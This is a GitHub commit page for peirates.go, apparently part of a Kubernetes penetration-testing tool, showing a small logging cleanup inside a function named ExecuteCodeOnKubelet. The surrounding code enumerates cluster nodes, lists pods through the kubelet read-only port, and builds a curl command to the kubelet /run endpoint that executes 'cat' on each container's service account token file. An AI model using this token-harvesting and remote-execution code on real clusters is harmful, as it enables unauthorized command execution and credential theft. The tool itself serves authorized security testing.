Skip to content

Commit

Permalink
Cleaning up this function
Browse files Browse the repository at this point in the history
  • Loading branch information
jay authored and jay committed Mar 6, 2019
1 parent 21b3b2a commit 4a721d4
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions peirates.go
Original file line number Diff line number Diff line change
Expand Up @@ -1546,12 +1546,12 @@ func ExecuteCodeOnKubelet(connectionString ServerInfo) {
}
//adam here
for _, item := range getnodeDetail.Items {
// fmt.Println("+ Host Mount Points for Pod: " + item.Metadata.Name)

for _, addr := range item.Status.Addresses {
//fmt.Println(" found for pod " + item.Metadata.Name + " - " + addr.Address)
fmt.Println(" found IP for node " + item.Metadata.Name + " - " + addr.Address)
if addr.Type == "Hostname" {
} else {
fmt.Println("[+] Kubelet List Pod URL: " + item.Metadata.Name + " - http://" + addr.Address + ":10255/pods")
fmt.Println("[+] Kubelet Pod Listing URL: " + item.Metadata.Name + " - http://" + addr.Address + ":10255/pods")
fmt.Println("[+] Grabbing Pods from node: " + item.Metadata.Name)
client := &http.Client{}
// Make a request for kube-env, in case it is in the instance attributes, as with a number of installers
Expand Down Expand Up @@ -1582,6 +1582,7 @@ func ExecuteCodeOnKubelet(connectionString ServerInfo) {
PodNamespace: podNamespace,
ContainerName: containerName,
})
// Work is here.
cmdline := "curl -sk https://10.23.58.41:10250/run/" + podNamespace + "/" + podName + "/" + containerName + "/ -d \"cmd=cat /run/secrets/kubernetes.io/serviceaccount/token\""
println(cmdline)
}
Expand Down

0 comments on commit 4a721d4

Please sign in to comment.